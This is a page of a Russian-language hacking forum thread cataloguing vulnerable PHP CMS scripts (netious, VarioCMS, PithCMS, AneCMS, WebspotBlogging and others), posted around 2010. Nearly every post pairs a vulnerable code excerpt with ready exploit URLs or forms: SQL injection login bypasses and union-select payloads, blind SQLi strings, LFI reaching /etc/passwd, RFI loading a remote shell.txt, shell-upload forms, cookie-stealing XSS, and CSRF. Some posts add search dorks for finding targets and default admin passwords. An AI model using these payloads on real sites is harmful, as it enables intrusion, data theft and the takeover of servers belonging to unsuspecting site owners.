Энциклопедия уязвимых скриптов

Discussion in 'Веб-уязвимости' started by DIAgen, 1 Jun 2006.

  1. Strilo4ka

    Strilo4ka

    Joined:
    5 Apr 2009
    Messages:
    709
    Likes Received:
    728
    Reputations:
    948
    Чесно скажу >стыдно постить< - каменный век, но все же:
    Продукт netious-cms-serv-0.4
    Сайт : http://www.netious.com/

    SQL inj
    /[путь админки указ. при установке далее -1-]/index.php
    PHP:
    ...$result=mysql_query("SELECT AdminId FROM mycmsadmin WHERE username='$username' and password='".sha1($password)."'");
    $row=mysql_fetch_row($result);
    $num_rows mysql_num_rows($result);...
    Result:
    username admin' or 1=1--
    пасс любой!
    Внутри :)

    SQL inj
    /index.php
    PHP:
    ...$saction="deny";
    if (
    $sresult=mysql_query("SELECT Secured FROM pages WHERE PageId='$pageid'")) 
    {
    $srow=mysql_fetch_row($sresult);...
    Result:
    Code:
    http://netious/index.php?pageid=1[COLOR=Red][SQL][/COLOR]
    Code:
    http://netious/index.php?pageid=1'+and+0+union+select+1,version(),3--+
    Условия:
    register_globals=on
    magic_quotes=off

    XSS + SQL inj
    [-1-]/addtomenuResponse.php
    PHP:
    ...mysql_query("INSERT into pages VALUES ('','$refid','$name','$thisdescription','$thiskeywords','$alias','0','$pagetype','','$pagesecured')")
    or die(
    "Something went wrong: <br />".mysql_error());...
    include.php
    PHP:
    ...function commonheader($pageid,$title,$keywords,$description,$forcedid)
    {
    if (
    $pageid!="-1" && $pageid!="contact")
    {
    $result=mysql_query("SELECT Name, Keywords, Description FROM pages WHERE PageId='$pageid'");
        
    $row=mysql_fetch_row($result);
        
    $name=$row[0];
        
    $thiskeywords=$row[1];
        
    $thisdescription=$row[2];
    if (
    $forcedid=="no") {$title="$name :: $title";}...
    echo 
    "
    <!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\"
    \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">
    <html xmlns=\"http://www.w3.org/1999/xhtml\">
    <head>
    <title>
    $title</title>...
    Дырявый как # :)
     
    #341 Strilo4ka, 27 Mar 2010
    Last edited: 27 Mar 2010
    2 people like this.
  2. m0Hze

    m0Hze Elder - Старейшина

    Joined:
    1 Nov 2008
    Messages:
    268
    Likes Received:
    644
    Reputations:
    208
    Product: VarioCMS
    Version: 0.5.6
    Author:: http://sourceforge.net/projects/variocms/

    SQL-Inj

    Need: mq=off;

    File: /plugins/system/slideshow/upload.php

    PHP:
    if (isset($_GET['album_id'])) {
        
    $album_id $_GET['album_id'];
      }
    ....
    $sql_insert "INSERT INTO " $db_plugin_prefix "slideshow (album, albumid, image, thumbnail, position) VALUES ('$album', '$album_id', '$image', '0', '$position')";
          
    fputs($logfile"$sql_insert\n");
    Target: http://localhost/bugs/VarioCMS/plugins/system/slideshow/upload.php?album=1&album_id=1'{SQL}.
    Columns: 7

    Upload Shell

    Need: none.

    File: /plugins/system/slideshow/upload.php

    PHP:
    if (isset($_GET['album_id'])) {
        
    $album_id $_GET['album_id'];
      }
    ..
    foreach (
    $_FILES as $file => $fileArray) {
        echo(
    "File key: $file\n");
        foreach (
    $fileArray as $item=>$val) {

        }

    //Let's manipulate the received file: in this demo, we just want to remove it!
        
    $new_dir $slideshow_path $album_id;
        if (
    file_exists($new_dir) == false) {
          
    mkdir ($new_dir);
          
    mkdir ($new_dir "/fullsize");
          
    mkdir ($new_dir "/slideshow");
          
    mkdir ($new_dir "/thumbnails");
        }

        
    $upload_dir $slideshow_path $album_id "/";
        
    $position 65000;
        if (
    move_uploaded_file($fileArray['tmp_name'], $upload_dir uml2nouml($fileArray['name']))) {
    Target:
    Expl0it ^_^:
    Code:
    <form  enctype="multipart/form-data" action="http://targethost.com/plugins/system/slideshow/upload.php?album=1" method="get" >
    <input type="file" name="Filedata" /><input type="submit" />
    <input type="text" name="album_id" value="[COLOR=Red][B]../../[/B][/COLOR]"/>
    </form>
    
    album_id = folder to upload shell.
     
  3. m0Hze

    m0Hze Elder - Старейшина

    Joined:
    1 Nov 2008
    Messages:
    268
    Likes Received:
    644
    Reputations:
    208
    Product: PithCMS
    Version: 0.9.5
    Author: http://sourceforge.net/projects/pithcms/

    Local File Inclusion



    File: newsreader.php

    Need: rg=on;

    PHP:
    include ("admin/lang/$lang");
    include (
    "_read_config.inc.php");
    include_once (
    "inc/cleaner.inc.php");
    Target: http://targethost.com/newsreader.php?lang=../../../../../../etc/passwd

    File: admin/blog.php

    Need:logged on target site!

    PHP:
     session_start();
            if (!isset(
    $_SESSION['user'])) {
                    echo 
    "<h2>ACCESS DENIED AND LOGGED</h2>";
                    exit;
            }
    ...
    (isset($_POST['filename'])) {
                    
    //include ("$rootdir/articles/".$_POST['filename']); 
                    
    include ("../news/".$_POST['filename']); 
                }else{
    ...
    Target: {POST} http://targethost.com/admin/blog.php?filename=../../../../../../../../../etc/passwd

    Remove arbitrary file

    File: admin/download_remove.php

    Need: logged on target site!

    PHP:
    if (isset($_POST['file']) && ($_POST['file'] != "lista.php") && ($_POST['file'] != "index.php") && ($_POST['file'] != "")) { 
            
    $file trim($_POST['file']);
            
    $object = ("../downloads/$file");
    Target: {POST} http://targethost.com/admin/download_remove.php?file=../indeX.php
     
  4. Ctacok

    Ctacok Banned

    Joined:
    19 Dec 2008
    Messages:
    733
    Likes Received:
    646
    Reputations:
    251
    MusicBox v3.3

    SQL Injection:

    /blogs.php?action=edit&newsid=-1+union+select+concat_ws(0x3a,user(),database(),version())+--+
    /genre_artists.php?id=-1+union+select+1,2,concat_ws(0x3a,user(),database(),version()),4,5,6,7+--+

    Пассивная XSS:

    /index.php?in=artist&term=%22%3E%3Csсriрt%3Ealert(document.cookie);%3C/sсriрt%3EE&action=search&start=0&x=0&y=0
    /index.php?action=top&show=5&type=Artists+order+by+1+--+%22%3E%3Csсriрt%3Ealert(document.cookie);%3C/sсriрt%3E

    Активная XSS:

    /member.php?uname=кому будем посылать XSS, в комменты <sсriрt>alert(document.cookie);</sсriрt>


    По идеи почти каждый параметр уязвим.

    /phpinfo.php ;)
     
    3 people like this.
  5. .:[melkiy]:.

    .:[melkiy]:. Elder - Старейшина

    Joined:
    25 Jan 2009
    Messages:
    358
    Likes Received:
    313
    Reputations:
    163
    Product: pepsi 0.6
    download: http://sourceforge.net/projects/pepsicms/

    Remote File Inclusion


    file:index.php

    PHP:
    //very sweet
    include "includes/template-loader.php";
    file:includes/template-loader.php

    PHP:
    //include( 'classes/theme_engine/engine.php' );
        
    include( $_Root_Path 'classes/Smarty.class.php' );
    result:

    if allow_url_include On

    Code:
    /index.php?_Root_Path=http://ya.ru/%00
    or
    Code:
    /index.php?_Root_Path=[file]%00
     
    4 people like this.
  6. Strilo4ka

    Strilo4ka

    Joined:
    5 Apr 2009
    Messages:
    709
    Likes Received:
    728
    Reputations:
    948
    http://www.kcms.cz/
    K:CMS v.2.1.1
    LFI, плохо что в админке!
    /admin.php
    PHP:
    ...if (isset($_GET["function"])) {
    include 
    "components/pages_admin/".$_GET["function"].".php";...
    Result:
    http://kcms/admin.php?function=options[lfi]
    Example:
    http://kcms/admin.php?function=options/../../../robots.txt
     
    2 people like this.
  7. Strilo4ka

    Strilo4ka

    Joined:
    5 Apr 2009
    Messages:
    709
    Likes Received:
    728
    Reputations:
    948
    Бред, но напишу):
    http://aphpkb.org/
    Andy's PHP Knowledgebase v0.94.6 © Andy Grayndler 2010
    XSS
    /textarea.php
    PHP:
    <?php //textarea.php  -- default textarea
    echo '<textarea name="' $textareaname '" style="width:95%; height:300px">' .
     
    $textareacontent '</textarea>';
    ?>
    Условие:
    rg=on

    Результат:
    http://site/textarea.php?textareacontent=</textarea>[xss]
    http://localhost/know/textarea.php?textareacontent=</textarea><script>alert(123)</script>
    И куча других скриптов. Не буду бред постить!

    SQL inj
    /a_authord.php - даные о пользователях!
    PHP:
    ...include('./functions.php');
    require_once (
    './config/auth.php'); 
    require (
    './config/config.php');
    include
    "./config/dbsettings.php";

    $num $_GET[aid];  
    $query "SELECT CONCAT(FirstName, ' ', LastName) AS name, UserName, Email, DATE_FORMAT(RegistrationDate, '%M %d, %Y') AS dr FROM authors WHERE AuthorID='{$num}'";...
    Уловия:
    - админка;
    - mg=off.

    Резльутат:
    http://site/a_authord.php?aid=1[sql]
    http://site/a_authord.php?aid=1%27+union+select+1,version%28%29,3,4--+
     
    #347 Strilo4ka, 6 Apr 2010
    Last edited: 6 Apr 2010
    1 person likes this.
  8. [x60]unu

    [x60]unu Banned

    Joined:
    7 May 2009
    Messages:
    98
    Likes Received:
    498
    Reputations:
    163
    BlogME
    Product : BlogME 1.1

    SQL injection
    file : index.php
    mq = off
    Code:
    http://x60unu/index.php?month=4&year=2007'+and+0+union+all+select+version(),version(),3,4,5,6,7,8--+
    Code:
    http://x60unu/index.php?cat=General'+and+0+union+all+select+1,2,3,4,5,6,7,8--+
    Code:
    http://x60unu/index.php?when=March%206,%202007'+and+0+union+all+select+1,2,3,4,5,6,7,8--+
    SQL in Admin Panel
    file : blogroll.php
    PHP:
    case 'edit' :
        
                
    $sqledit"SELECT * FROM "$prefix ."_blogroll WHERE id=$id";
                
    $resultedit db_query($dbname,$sqledit);
                
    $editvalues mysql_fetch_array($resultedit);
    result :
    Code:
    http://x60unu/blogroll.php?mode=edit&id=1+and+0+union+all+select+1,2,3--+
    blind sql
    PHP:
    $sqldelete"DELETE FROM "$prefix ."_blogroll where id=$id";
                
    $resultdelete db_query($dbname,$sqldelete);
    result :
    Code:
    http://x60unu/blogroll.php?mode=delete&id=1[blind sql]
    file : category.php
    PHP:
                $sqledit"SELECT * FROM "$prefix ."_cat WHERE id=$id";
                
    $resultedit db_query($dbname,$sqledit);
                
    $editvalues mysql_fetch_array($resultedit);
    result:
    Code:
    http://x60unu/category.php?mode=edit&id=1+and+0+union+all+select+1,2--+
    blind sql
    PHP:
    sqldelete"DELETE FROM "$prefix ."_cat where id=$id";
                
    $resultdelete db_query($dbname,$sqldelete)
    result :
    Code:
    http://x60unu/category.php?mode=delete&id=1[blind sql]
    file : links.php
    PHP:
                $sqledit"SELECT * FROM "$prefix ."_links WHERE id=$id";
                
    $resultedit db_query($dbname,$sqledit);
                
    $editvalues mysql_fetch_array($resultedit);
    result :
    Code:
    http://x60unu/links.php?mode=edit&id=1+and+0+union+all+select+1,2,3--+
    blind sql
    PHP:
    $sqldelete"DELETE FROM "$prefix ."_links where id=$id";
                
    $resultdelete db_query($dbname,$sqldelete);
    Code:
    http://x60unu/links.php?mode=delete&id=1[blind sql]
    Active Xss
    comments --- text comments --- "><script>alert();</script>

    з.ы. двиг сплошная дыра :(
     
    6 people like this.
  9. Root-access

    Root-access Elder - Старейшина

    Joined:
    18 Jun 2008
    Messages:
    194
    Likes Received:
    195
    Reputations:
    91
    Продукт:: AEF (форумный движок)
    Сайт:: http://www.anelectron.com
    Дорк:: "Powered by AEF" (250 000 результатов)
    Уязвимость:: Активная XSS.
    Уязвимость присутствует из-за небезопасной обработки BB-тегов.
    Можно вызвать разрушение тегов, и, как следствие, выполнение javascript-кода.
    Пример эксплуатации:

    Code:
    [*url]http://asd.asd[*email]asd@asd.asd onmouseover=[b]alert()[/b] bla=[*/email][*/url]
    На выходе получаем:

    Code:
    <a href="[color=white]http://asd.asd<a href=[/color]"mailto:asd@asd.asd onmouseover=[b]alert()[/b] bla=" target="_blank">asd@asd.asd onmouseover=alert() bla=</a>" target="_blank">http://asd.asd<a href="mailto:asd@asd.asd onmouseover=alert() bla=" target="_blank">asd@asd.asd onmouseover=alert() bla=</a></a>
    Можно также провести атаку через стили (для ie и ff), тогда можно спрятать куски разрушенного тега:

    Code:
    [*url]http://asd.asd[*email]asd@asd.asd style=[b]display:none;olo:expression(alert());-moz-binding:url()[/b] bla=[*/email][*/url]
     
    #349 Root-access, 8 Apr 2010
    Last edited: 8 Apr 2010
    3 people like this.
  10. Root-access

    Root-access Elder - Старейшина

    Joined:
    18 Jun 2008
    Messages:
    194
    Likes Received:
    195
    Reputations:
    91
    Продукт:: Beehive (форумный движок)
    Сайт:: http://beehiveforum.sourceforge.net/
    Дорк:: "Project Beehive Forum" (?)
    Уязвимость:: Активная XSS.
    Уязвимость существует из-за недостаточной фильтрации слова javascript в сообщении.
    Строчка из /include/fixhtml.php (скрипт "безопасной" обработки html):
    PHP:
    $attrib_value preg_replace("/javascript:/ixu"''$attrib_value);
    В движке разрешён html, а это ограничение обходится простым кодированием html (протокол от этого валидность не теряет):
    Code:
    <img src="&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116:alert()" />
     
  11. Root-access

    Root-access Elder - Старейшина

    Joined:
    18 Jun 2008
    Messages:
    194
    Likes Received:
    195
    Reputations:
    91
    Продукт:: CompactCMS
    Сайт:: http://www.compactcms.nl
    Дорк:: "Maintained with CompactCMS"
    //тут была глупая ошибка, Strilo4ka заметил...
    Уязвимость:: Исполнение произвольного кода.
    Требования: права админа (админка по умолчанию не запаролена - /admin)
    Жмём Create a new page, создаём страничку с php-кодом, затем она инклудится, и мы имеем шелл.
     
    #351 Root-access, 8 Apr 2010
    Last edited: 9 Apr 2010
    3 people like this.
  12. [x60]unu

    [x60]unu Banned

    Joined:
    7 May 2009
    Messages:
    98
    Likes Received:
    498
    Reputations:
    163
    AneCMS
    Product : Demo AneCMS v1

    Blind SQL injection
    Code:
    http://demo.anecms.com/blog/delete/1/1/**/and/**/1=(SELECT/**/*/**/FROM(SELECT/**/*/**/FROM(SELECT/**/NAME_CONST((version()),14)d)/**/as/**/t/**/JOIN/**/(SELECT/**/NAME_CONST((version()),14)e)b)a)/
    Active XSS
    comments blog news - "><script>alert();</script>
    Code:
    http://anecms.com/blog/5/Template_Engine_and_cleaning_time
    LFI
    rss.php
    PHP:
    if(isset($_GET['module']))
        include 
    './modules/'.$_GET['module'].'/rss.php';
    Code:
    http://x60unu/rss.php?module=../[file]%00
    Admin panel
    PHP:
      include './pages/'.$_GET['p'].'.php';
    Code:
    http://demo.anecms.com/acp/?p=lfi
    Code:
    http://x60unu/acp/index.php?p=../../[file]%00
    Путь
    Code:
    http://demo.anecms.com/register/next
    Дыр тут много :(
     
    #352 [x60]unu, 8 Apr 2010
    Last edited: 8 Apr 2010
    9 people like this.
  13. Strilo4ka

    Strilo4ka

    Joined:
    5 Apr 2009
    Messages:
    709
    Likes Received:
    728
    Reputations:
    948
    phpwcms v1.4.5
    release 2010

    Скачано отсюдо!

    XSS + HPP

    /image_zoom.php
    Code:
    ..if(empty($_GET["show"])) {
    
    	$width_height = '';
    	$img = "img/leer.gif";
    	
    } else {
    
    	$img 						= base64_decode($_GET["show"]);
    	list($img, $width_height)	= explode('?', $img);
    	$img 						= str_replace(array('http://', 'https://', 'ftp://'), '', $img);
    	$img						= strip_tags($img);
    	$width_height				= strip_tags($width_height);
    	$img = PHPWCMS_IMAGES.urlencode($img);...
    Code:
    ...<a href="#" title="Close PopUp" onclick="window.close();return false;"><img src="<?php echo $img ?>" alt="" border="0" <?php echo $width_height ?> /></a>...
    Result:
    1) формируем код, example: адрес_рисунка?onmouseover=alert(1)
    2) переводим в base64 - MDRANUFfQDhBQz06MD9vbm1vdXNlb3Zlcj1hbGVydCgxKQ==
    3) тулим эту строку гетом в show.

    ps админка - /login.php
    По умолчанию:
    логин - admin;
    пасс - phpwcms (md5).
     
    #353 Strilo4ka, 9 Apr 2010
    Last edited: 15 Apr 2010
    2 people like this.
  14. Strilo4ka

    Strilo4ka

    Joined:
    5 Apr 2009
    Messages:
    709
    Likes Received:
    728
    Reputations:
    948
    AneCMS

    Продолжение поста [x60]unu.
    RFI
    ajax.php!
    PHP:
    <?php
    include './system/pages/essential.php';
    if(isset(
    $_POST['p']))
        include 
    $_POST['p'];
    ?>
    Условие:
    allow_url_include = On

    Експлуатация:
    HTML:
    <form method="POST" action="http://localhost/anecms/ajax.php">
    <input type="text" name="p" />
    <input type="submit" /></form>
     
    #354 Strilo4ka, 10 Apr 2010
    Last edited: 15 Apr 2010
    4 people like this.
  15. Iceangel_

    Iceangel_ Elder - Старейшина

    Joined:
    9 Jul 2006
    Messages:
    496
    Likes Received:
    533
    Reputations:
    158
    WebsiteBaker 2.8.1

    WebsiteBaker 2.8.1
    Sql-injection(требования register_globals=on)
    PHP:
    if(isset($_GET['page_id']) AND is_numeric($_GET['page_id'])) {
        
    $page_id $_GET['page_id'];
    } else {
        
    header('Location: /');
        exit(
    0);
    }
    if(isset(
    $_GET['group_id']) AND is_numeric($_GET['group_id'])) {
        
    $group_id $_GET['group_id'];
        
    define('GROUP_ID'$group_id);
    }

    /*--*/
    if(isset($group_id)) {
        
    $query "SELECT * FROM ".TABLE_PREFIX."mod_news_posts WHERE group_id=".$group_id." AND page_id = ".$page_id." AND active=1 AND ".$time_check_str." ORDER BY posted_when DESC";
    } else {
    эксплуатация:
    /modules/news/rss.php?page_id=2&group_id=1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15--+


    Способов залиться несколько:
    1)В админке аплоадим зип архив с шеллом, распаковываем средствами админ-панели.
    2)аплоадим какой-нибудь shell.php.xs(если apache в качестве вебсервера)
     
    6 people like this.
  16. Strilo4ka

    Strilo4ka

    Joined:
    5 Apr 2009
    Messages:
    709
    Likes Received:
    728
    Reputations:
    948
    Rat CMS

    SQL ing
    login.php
    PHP:
    ...$userId   $_POST['txtUserId'];
        
    $password $_POST['txtPassword'];

        
    // check if the user id and password combination exist in database
        
    $sql "SELECT user_id
                FROM tbl_auth_user
                WHERE user_id = '
    $userId' AND user_password = PASSWORD('$password')";

        
    $result mysql_query($sql) or die('Query failed. ' mysql_error());

        if (
    mysql_num_rows($result) == 1) {
            
    // the user id and password match,
            // set the session
            
    $_SESSION['db_is_logged_in'] = true;

            
    // after login we move to the main page
            
    header('Location: main.php');
            exit;
        } else {
            
    $errorMessage 'Sorry, wrong user id / password';
        }...
    Result :
    в поле txtUserId - ' union select 1--[ ]

    Условие:
    mg=off

    Далее привожу только код других файлов:
    viewarticle.php , viewarticle2.php
    PHP:
    ...else {
       
    // get the article info from database
       
    $query "SELECT title, content FROM news WHERE id=".$_GET['id'];
       
    $result mysql_query($query) or die('Error : ' mysql_error()); 
       
    $row mysql_fetch_array($resultMYSQL_ASSOC); ...
     
    #356 Strilo4ka, 11 Apr 2010
    Last edited: 15 Apr 2010
    2 people like this.
  17. Strilo4ka

    Strilo4ka

    Joined:
    5 Apr 2009
    Messages:
    709
    Likes Received:
    728
    Reputations:
    948
    123

    basic cms

    CSRF + SQL inj(в админке!)
    просто выношу потому что редкий интересный случай1
    Admin/Pages/List.php
    PHP:
    ...
    $strAction=QuerySafeString($_POST["txtAction"]);
    }
    if (
    $_SESSION["Admin"] =="Y")
    {
    $conclass =new DataBase();
    if (
    $strAction=="DEL")
    {
        if (isset(
    $_POST['chkSelect']))
        {
            
    $strSelection=$_POST['chkSelect'];
            
    $strSQL="DELETE FROM pages_t_details WHERE id IN("join(','$strSelection) . ")";
            
    //print $strSQL;
            
    $strErrorMessages="";
            
    $var1=$conclass->Execute ($strSQL,$strErrorMessages);
        }...
    Includes/Database.php
    PHP:
    ...
    function 
    QuerySafeString($pstrString)
    {
        
    $badChars = array("\'");
        
    $newChars   = array("'");
        
        
    $pstrString str_replace($badChars$newChars$pstrString);
        
    $pstrString=killChars($pstrString);
        return 
    $pstrString;
    }...
    Includes/Database.php
    PHP:
    ...function killChars($strWords)
    {

        
    $badChars = array("select""drop"";""--""insert""delete","Update");
        
    $newChars   = array("""""""""""""");

        
    $strWords str_replace($badChars$newChars$strWords);
        return  
    $strWords;

    }...
    Вывод ошибки от СУБД
    Includes/Database.php
    PHP:
    ...
    function  
    Execute($strSQL,$strErrorMessages)
        {
            
    $result mysql_query($strSQL) or die("Query failed : " mysql_error());
            return 
    $result;

        }...
    Result:
    <FORM action="http://localhost/basiccms/Admin/Pages/List.php?txtAction=" method="POST">
    <INPUT type="checkbox" name="chkSelect[]" id="chkSelect[]" value="666" checked>
    <INPUT type="checkbox" name="chkSelect[]" id="chkSelect[]" value="(Select * from (Select name_const(version(),1),name_const(version(),1))x)" checked>
    <INPUT type="checkbox" name="txtAction" value="DEL" checked>
    <input type=submit value="inj">
    </FORM>

    SQL inj
    Admin/Pages/AddModifyInput.php
    PHP:
    ...$strsql "SELECT id, title,description,startpage FROM pages_t_details WHERE id=" $strID;
        
    $rst$conclass->Execute ($strsql,$strError);...
    Result:
    http://localhost/basiccms/admin/pages/AddModifyinput.php?ID=9+union+Select+1,version%28%29,3,4

    Также уязвим Admin./Pages/AddModifyDelete.php
    XSRF+SQL inj(права админа!)
    PHP:
    ...$strsql="DELETE FROM pages_t_details ";
            
    $strsql.= " WHERE id=" .SQLSafeString($strID);...

    Result:

    http://localhost/basiccms/admin/pages/AddModifyInput.php?action=DEL&ID=1+or+%281,2%29=%28Select%20*%20from%20%28Select%20name_const%28version%28%29,1%29,name_const%28version%28%29,1%29%29x%29

    ps еще можна было провести (в других файлах) XSRF на добавление пользователей, ... + SQL inj(права админа).
     
    #357 Strilo4ka, 12 Apr 2010
    Last edited: 15 Apr 2010
    3 people like this.
  18. [x60]unu

    [x60]unu Banned

    Joined:
    7 May 2009
    Messages:
    98
    Likes Received:
    498
    Reputations:
    163
    WebspotBlogging
    Product : WebspotBlogging v 3.01

    RFI, LFI
    файлы в главной папке обращаются к файлам из папки inc в которых можно увидеть код - пример
    inc/mainheader.inc.php

    PHP:
    include($path."inc/global.php");
    allow_url_include = On
    rg = on
    result :
    Code:
    http://x60unu/archives.php?path=http:/site/shell.txt?
    http://x60unu/register.php?path=http://site/shell.txt?
    http://x60unu/index.php?path=http://site/shell.txt?
    http://x60unu/showpost.php?path=http://site/shell.txt?
    http://x60unu/login.php?path=http://site/shell.txt?
    http://x60unu/postcomment.php?path=http://site/shell.txt?
    http://x60unu/showarchive.php?path=http://site/shell.txt?
    http://x60unu/rss.php?path=http://site/shell.txt?
    
    Ну и там же LFI

    SQL Injection
    Для всех скуль нужно mq=off
    showpost.php
    PHP:
    $sql "SELECT * FROM blog WHERE pid = '".$_GET['id']."';";
    $query mysql_query($sql);
    Code:
    http://x60unu/showpost.php?id=1'+and+0+union+all+select+1,2,3,4,5,6,7,8,9,10--+
    showarchive.php
    PHP:
    $monthdate $_GET['monthdate'];
    $sql "SELECT * FROM blog WHERE month_date = '".$_GET['monthdate']."' ORDER BY date_time DESC;";
    $query mysql_query($sql);
    Code:
    http://x60unu/showarchive.php?monthdate='+and+0+union+all+select+1,2,3,4,5,6,7,8,9,10--+
    зарегистрированным пользователям
    posting/edit.php
    PHP:
    $query $database->query("SELECT * FROM blog WHERE pid = '".$_REQUEST['id']."'");
    $post $database->fetch_array($query);
    Code:
    http://x60unu/posting/edit.php?id=1'+and+0+union+all+select+1,2,3,version(),5,6,7,8,9,10--+
    posting/editcomment.php
    PHP:
    $query $database->query("SELECT * FROM comments WHERE cid = '".$_GET['id']."'");
    if(
    $database->num_rows($query) < 1){
    Code:
    http://x60unu/posting/editcomment.php?id=1'+and+0+union+all+select+1,2,3,4,5--+
    posting/comments.php
    PHP:
    $query $database->query("SELECT * FROM comments WHERE pid = '".$_REQUEST['id']."' ORDER BY date_time DESC");
    if(
    $database->num_rows($query) < 1){
    Code:
    http://x60unu/posting/comments.php?id=1'+and+0+union+all+select+1,2,3,4,5--+
    Blind SQL Injection
    mysql = 5
    mq = off

    postcomment.php комментируем запись -->
    PHP:
    $database->query("INSERT INTO comments (cid,uid,comment,date_time,pid) VALUES ('','".$_SESSION['uid']."','".$_POST['comment']."',NOW(),'".$_POST['pid']."')");
    header("Location: showpost.php?id=".$_POST['pid']);
    ob_end_flush();
    users/index.php редактируем email -->


    register.php - регистрация -->
    PHP:
    $sql "INSERT INTO users (`uid`,`username`,`password`,`admin`,`mod`,`email`,`newsletter`) VALUES ('','".$_POST['username']."','".md5($_POST['password'])."',0,0,'".$_POST['email']."','".$_POST['newsletter']."')";
        
    $query $database->query($sql);
    -->
    Code:
    xek%'/**/and/**/1=(SELECT/**/*/**/FROM(SELECT/**/*/**/FROM(SELECT/**/NAME_CONST((version()),14)d)/**/as/**/t/**/JOIN/**/(SELECT/**/NAME_CONST((version()),14)e)b)a)/**/and/**/'1'='1
    Active Xss
    comments - комментируем записи "/><script>alert("xss");</script>
    user cp - email "/><script>alert("xss");</script>
    posting - "/><script>alert("xss");</script>
     
    #358 [x60]unu, 12 Apr 2010
    Last edited: 12 Apr 2010
    9 people like this.
  19. Strilo4ka

    Strilo4ka

    Joined:
    5 Apr 2009
    Messages:
    709
    Likes Received:
    728
    Reputations:
    948
    321

    Free CMS Webcountry

    Древний релиз! - но компания не дремлет!
    Используеться mod_rewrite.
    В index.php есть такой код:
    PHP:
    ...ob_start();
     
    $mod=$_GET["mod"];
     if (!IsSet(
    $mod)){include "./page/$main_page.php";}
     else {include 
    "./page/".$mod.".php";}
     
    $contents=ob_get_contents();
     
    ob_end_clean();...
    PHP:
    ...require("./tpl/$thema.tpl");...
    Переменная $thema определяеться в подключаемом файле c запроса.
    Если переменную определить в подключаемом файле, например, не с запроса или с запроса после SQL inj, то расширение можна отбросить.
    В БД ничего ценного! Пусть админко запаролена :).
    В подключаемый файл тулим $thema=$_GET['thema']. И гетом передадим thema=../readme.txt%00, кроме mod.
    То должно получиться типо такого: http://localhost/f/index.php?mod=../1.txt%00&thema=../readme.txt%00.
    Если переменную $thema не определить, то результат не увидеть с первого инклуда - будет ошибка в фунции require, так как скрипт не выполниться! Как реализовать с proc думаю понятно.

    Теперь пример инклуда с результату запроса после проведения SQL ing(или при!).
    Подключаем файлик с /page,
    допустим, news.php так как там парамтер id передаеться в запрос!
    PHP:
    ...$query "SELECT * FROM site WHERE id='".$_GET["id"]."';";
     
    $result mysql_query($query);
     while(
    $r=mysql_fetch_array($result))
     {
      
    $title=$r["title_page"];
      
    $KeyWords_page=$r["KeyWords_page"];
      
    $Description_page=$r["Description_page"];
      
    $txt_page=$r["txt_page"];
      
    $thema=$r["thema"];
     echo 
    "$txt_page";}... 
    Имеем LFI с 6 поля:
    http://localhost/f/index.php?mod=news&id=3%27+union+select+1,2,3,4,5,6,7,8--+
    Warning: require(./tpl/6.tpl) [function.require]:
    http://localhost/f/index.php?mod=news&id=3%27+union+select+1,2,3,4,5,%27../readme.txt%00%27,7,8--+
    Недостаток при SQL inj в том, что надо mg=off так как id в запросе
    PHP:
    ...id='".$_GET["id"]."';...
    Так же SQL inj в /pages/index.php
    PHP:
    ...mysql_select_db ($db_name) or die ("Нет соединения с БД");
     
    $query "SELECT * FROM site WHERE id='".$_GET["id"]."';";
     
    $result mysql_query($query);...
    up
    та й в принципе вектор атаки должен умещаться в рамки url , посему первый вариант не сработает, разве что ось win (при mg=on).
    Еще надо сказать, что если rg=on, то $_GET масив тоже формируеться, не только глобальные и значение "магических" к фени!...

    Тоесть, при rg=on имеем LFI вот так:
    http://localhost/117/index.php?mod=1&thema=../readme.txt%00
    http://localhost/117/index.php?mod=1&thema=../readme.txt[/]
    http://localhost/117/index.php?mod=1&thema=../readme.txt[.]

    ps /adm - админко незапаролена по умолчанию.
     
    #359 Strilo4ka, 14 Apr 2010
    Last edited: 15 Apr 2010
    4 people like this.
  20. Strilo4ka

    Strilo4ka

    Joined:
    5 Apr 2009
    Messages:
    709
    Likes Received:
    728
    Reputations:
    948
    AntiSlaed CMS 4.1

    index.php
    PHP:
    ...$name = (isset($_POST['name'])) ? ((isset($_POST['name'])) ? analyze($_POST['name']) : "") : ((isset($_GET['name'])) ? analyze($_GET['name']) : "");...
    PHP:
    ...$file = (isset($_POST['file'])) ? ((isset($_POST['file'])) ? analyze($_POST['file']) : "") : ((isset($_GET['file'])) ? analyze($_GET['file']) : "");
    $file = ($file) ? $file "index";...
    PHP:
    ...include("modules/".$name."/".$file.".php");...
    Теперь смотрим в модуль новости /modules/news/index.php.
    PHP:
    function news(){...
    $scat = (isset($_GET['cat'])) ? $_GET['cat'] : 0;...
    ...list(
    $cat_title$cat_description) = $db->sql_fetchrow($db->sql_query("SELECT title, description FROM ".$prefix."_categories WHERE id='$scat'"));...
    }
    PHP:
    ...switch($op) {
        default:
        
    news();
        break;...
    в ../index.php
    PHP:
    ...$op = (isset($_POST['op'])) ? ((isset($_POST['op'])) ? analyze($_POST['op']) : "") : ((isset($_GET['op'])) ? analyze($_GET['op']) : "");...
    Можно было бы провести SQL inj если бы не файл functions/security.php начиная с 341 line, ех!

    Ищем .:XSS:.

    Поиск закончился успехом.
    /modules/order/index.php
    Обращаем внимание на $_POST['com']
    PHP:
    function order() {
        global 
    $conf$confor$pagetitle$bodytext$stop;
        
    $pagetitle "".$conf['defis']." "._ORDER."";
        
    $bodytext $confor['text'];
        if (
    is_user()) {
            
    $userinfo getusrinfo();
            
    $mail = (isset($_POST['mail'])) ? $_POST['mail'] : $userinfo['user_email'];
        } else {
            
    $mail = (isset($_POST['mail'])) ? $_POST['mail'] : "";
        }
        
    $field fields_save($_POST['field']);
        
    head();
        
    title(""._ORDER."");
        if (
    $stopwarning($stop""""1);
        
    open();
        echo 
    bb_decode($bodytext"all");
        
    close();
        if (
    $confor['an']) {
            
    open();
            echo 
    "<h2>"._OR_1."</h2><form method=\"post\" action=\"index.php?name=".$conf['name']."\" OnSubmit=\"ButtonDisable(this)\">"
            
    ."<div class=\"left\">"._OR_2." <font class=\"option\">*</font></div><div class=\"center\"><input type=\"text\" name=\"mail\" value=\"".$mail."\" maxlength=\"255\" size=\"65\" class=\"".$conf['style']."\"></div>"
            
    ."".fields_in($field$conf['name']).""
            
    ."<div class=\"left\">"._OR_3."</div><div class=\"center\"><textarea name=\"com\" cols=\"65\" rows=\"5\" class=\"".$conf['style']."\">".$_POST['com']."</textarea></div>"
            
    ."".captcha_random().""
            
